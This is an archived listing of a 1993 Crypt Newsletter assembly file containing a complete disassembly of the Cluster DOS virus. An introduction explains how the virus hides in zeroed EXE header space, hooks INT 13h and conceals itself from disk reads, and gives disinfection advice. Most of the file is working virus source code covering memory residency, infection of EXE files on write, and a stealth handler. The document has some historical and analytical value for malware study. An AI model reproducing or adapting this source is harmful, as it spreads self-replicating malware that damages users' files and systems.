home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / CRYPT17.ZIP / CLUST.ASM next >
Assembly Source File  |  1993-08-13  |  9KB  |  260 lines

  1. ;The Cluster virus is an interesting experiment which works, almost.
  2. ;It it what has come to be known as an 'intended' virus, although a
  3. ;a very slickly done one.
  4. ;Credited to the TridenT virus programming group, Cluster uses some of
  5. ;the ideas of the Bulgarian virus known as The Rat.  The Rat was deemed
  6. ;tricky because it looked for "00" empty space below the header in
  7. ;an EXEfile - if it found enough room for itself, it wrote itself out
  8. ;to the empty space or "air" in the file.  This hid the virus in the 
  9. ;file, but added no change in file size.  This is a nice theme - one
  10. ;made famous by the ZeroHunt virus which first did the same with
  11. ;.COMfiles.  In both cases, the viruses had to be picky about the
  12. ;files they infected, limiting their spread.
  13. ;
  14. ;Cluster is similar to The Rat.  It will attempt to copy itself into
  15. ;the "air" in an EXEfile just below the file header, if there is
  16. ;enough room.  The most common candidates for infection are standard
  17. ;MS/PC-DOS utility programs, like FIND or FC, among others.
  18. ;
  19. ;As is Cluster will go resident from the "germ" supplied with the
  20. ;newsletter.  On copy, if the candidate .EXEfile has enough "00"
  21. ;air, Cluster will infect it.  In other words, any .EXEfile
  22. ;written to will be inspected by Cluster.
  23. ;
  24. ;Because Cluster installs its own INT 13 disk hander, it then can
  25. ;intercept all attempts to open infected files for a quick look.
  26. ;For example, looking at a hex dump of a Cluster-infected .EXE,
  27. ;with Vern Berg's LIST, will show the files clean.  Now, boot
  28. ;the system clean and look again.  You'll see Cluster in the file's
  29. ;"00" space - look for the funny "Zugu" signature.
  30. ;
  31. ;However, almost all files infected by Cluster under DOS 5.0 and 6.0
  32. ;are mishandled in such way that they cannot execute properly except
  33. ;when the virus is not resident. Normally, what happens is Cluster  
  34. ;will go resident and the system will hang.  And this is what is
  35. ;meant by an 'intended' virus - Cluster is very infectious, but only 
  36. ;infectious on a machine which is contaminated with the "germ" file
  37. ;supplied by TridenT. Although Cluster may behave better on other
  38. ;platforms, it's not viable on most of the systems rolling out 
  39. ;of shops today.
  40. ;
  41. ;Additional notes and disassembly are all Black Wolf's. --Urnst Kouch
  42. ;Crypt Newsletter 17.
  43. ;-------------------------------------------------------------------
  44. ;This virus goes memory resident at the top of lower memory and hooks
  45. ;Int 13h.  Whenever an EXE file header is written, it checks to see
  46. ;if there is a large field of 0's inside it (VERY common in EXE's)
  47. ;and, if so, will put itself inside it and change the exe marker bytes
  48. ;'MZ' to a jump to that code.  In this way, it effectively converts the
  49. ;file to a COM file when it is run.  After this it re-executes the EXE
  50. ;file.  Because of a stealth handler on Int 13h function 2 (absolute
  51. ;disk read) the EXE file is read as it originally was (the handler
  52. ;zero's out the field in which it resides and restores the jump to
  53. ;'MZ').  Because of the way this virus works, it can only infect
  54. ;smaller EXE files.
  55. ;
  56. ;
  57. ;NOTE:
  58. ;Several commands are commented out and have the actual bytes entered
  59. ;next to them instead. This is because the compiler that Clust was 
  60. ;originally compiled on used different translations than mine, and
  61. ;I wished to preserve the EXACT virus code.
  62.  
  63. ;Disinfection: Because of this virus' stealth routine, disinfection should
  64. ;              be possible simply by Zipping or Arjing all EXE files on an
  65. ;              infected disk, then rebooting from a clean disk and unarchiving
  66. ;              the files.  The original archiving MUST be done while the
  67. ;              virus is active in memory.  Also - after rebooting - make
  68. ;              sure the program you use to unarchive the files is _NOT_
  69. ;              infected.
  70.  
  71. ;Disassembly by Black Wolf
  72.  
  73. .model tiny
  74. .code
  75.         org     100h
  76.   
  77. start:
  78.         jmp     short EntryPoint
  79.         
  80. LotsaNOPs       db      122 dup (90h)   ;Usually will be EXE header....
  81.  
  82. OldInt13        dd      0
  83.  
  84. EntryPoint:
  85.         db      0e9h,7ch,0      ;jmp     InstallVirus
  86.         
  87. Int13Handler:                
  88.         cmp     ah,3
  89.         je      IsDiskWrite
  90.         
  91.         cmp     ah,2
  92.         jne     GoInt13
  93.         
  94.         pushf
  95.         call    cs:OldInt13               ;Call Int 13h
  96.  
  97.         jc      Exit13Handler             ;Exit on error.
  98.         
  99.         cmp     word ptr es:[bx],7EEBh    ;Is sector infected?
  100.         jne     Exit13Handler
  101.         
  102.         mov     word ptr es:[bx],5A4Dh    ;Cover mark with 'MZ'
  103.         
  104.         push    di cx ax                  ;Stealth routine.....
  105.         mov     cx,115h
  106.         xor     ax,ax 
  107.         db      89h,0dfh                  ;mov     di,bx
  108.         
  109.                           ;Zero out virus from
  110.         add     di,80h                    ;sector when it is read.
  111.         rep     stosb                     
  112.         pop     ax cx di
  113.   
  114. Exit13Handler:
  115.         iret         
  116. GoInt13:
  117.         jmp     cs:[OldInt13]
  118. IsDiskWrite:
  119.         cmp     word ptr es:[bx],5A4Dh  ;Is EXE file being written?
  120.         jne     GoInt13
  121.  
  122.         cmp     word ptr es:[bx+4],75h  ;Is file too large?
  123.         jae     GoInt13     
  124.         
  125.         push    ax cx si di ds
  126.         push    es
  127.         pop     ds
  128.         db      89h,0deh                 ;mov     si,bx
  129.         
  130.         add     si,80h                   ;Look in EXE header....
  131.         mov     cx,115h
  132. AllZeros:                       
  133.         lodsb
  134.         cmp     al,0
  135.         loopz   AllZeros
  136.   
  137.         cmp     cx,0                    ;Check to see if entire field
  138.         jne     ExitInfectHandler       ;was zeroed - leave if not.
  139.         
  140.         
  141.         db      89h,0dfh                  ;mov     di,bx
  142.         add     di,80h
  143.         mov     cx,115h
  144.         mov     si,offset OldInt13
  145.         push    cs
  146.         pop     ds
  147.         rep     movsb
  148.         
  149.         db      89h,0dfh                ;mov     di,bx
  150.                         
  151.                         ;Copy virus
  152.                         ;over zero area in EXE header.
  153.         mov     ax,7EEBh                ;Stick in Jump over 'MZ'
  154.         stosw                
  155.  
  156. ExitInfectHandler:
  157.         pop     ds di si cx ax          ;Allow Write to process now.
  158.         jmp     short GoInt13
  159.  
  160. InstallVirus:
  161.         mov     ax,3513h
  162.         int     21h                     ;Get Int 13 addres
  163.         mov     word ptr cs:[OldInt13],bx
  164.         mov     word ptr cs:[OldInt13+2],es
  165.  
  166.         mov     ah,0Dh
  167.         int     21h                     ;Flush disk buffers
  168.                
  169.         mov     ah,36h
  170.         mov     dl,0
  171.         int     21h                  ;Get free space on default drive
  172.                         
  173.         mov     ax,cs
  174.         dec     ax
  175.         mov     ds,ax
  176.         cmp     byte ptr ds:0,'Z'       ;Are we the last chain?
  177.         jne     Terminate               ;If not, terminate.
  178.         
  179.         ;sub     word ptr ds:[3],39h     ;subtract from MCB size
  180.         db      81h,2eh,03,0,39h,0  
  181.         
  182.         ;sub     word ptr ds:[12h],39h   ;subtract from PSP TopOfMem
  183.         db      81h,2eh,12h,0,39h,0
  184.  
  185.         mov     si,offset OldInt13
  186.         
  187.         db      89h,0f7h                ;mov     di,si
  188.  
  189.         mov     es,ds:[12h]             ;ES = new segment
  190.         push    cs
  191.         pop     ds
  192.         mov     cx,115h                 ;Copy virus into memory
  193.         rep     movsb   
  194.         
  195.         mov     ax,2513h
  196.         push    es
  197.         pop     ds
  198.         mov     dx,offset Int13Handler
  199.         int     21h                     ;Set int 13 to virus handler
  200.                      
  201.         mov     ah,4Ah
  202.         push    cs
  203.         pop     es
  204.         mov     bx,39h
  205.         int     21h                     ;Modify mem alloc.
  206.                
  207.         push    cs
  208.         pop     ds
  209.         mov     bx,ds:[2ch]             ;Get environment segment
  210.         mov     es,bx
  211.         xor     ax,ax
  212.         mov     di,1 
  213.  
  214. ScanForFilename:                                ;Find name of file executed
  215.         dec     di                      ;in environment strings...
  216.         scasw                           ;(located after two 0's)
  217.         jnz     ScanForFilename
  218.  
  219.         lea     si,[di+2]
  220.         push    bx
  221.         pop     ds                      ;DS = environment segment
  222.  
  223.         push    cs
  224.         pop     es                      ;ES = code segment
  225.  
  226.         mov     di,offset Filename
  227.         push    di
  228.         xor     bx,bx            
  229.  
  230. CopyFilename:
  231.         mov     cx,50h
  232.         inc     bx
  233.         lodsb            
  234.         cmp     al,0
  235.         jne     StoreFilename           ;Change zero at end of 
  236.         mov     al,0Dh                  ;filename to a return
  237.  
  238. StoreFilename:
  239.         stosb            
  240.         cmp     al,0Dh                  ;If it was a return, we're
  241.         loopnz  CopyFilename            ;done copying the filename
  242.   
  243.         mov     byte ptr ds:[28fh],bl 
  244.         push    cs
  245.         pop     ds
  246.         pop     si
  247.         dec     si         
  248.         int     2Eh                     ;Re-execute EXE file with
  249.                         ;Stealth handler in memory,
  250.                         ;so Exe is run w/o virus.
  251.                         ;here we go, infected program
  252. Terminate:                                      ;only executes properly when
  253.         mov     ah,4Ch                  ;Cluster is resident.
  254.         int     21h    
  255.                    
  256.         db      0
  257. Filename        db      1
  258.  
  259. end     start
  260.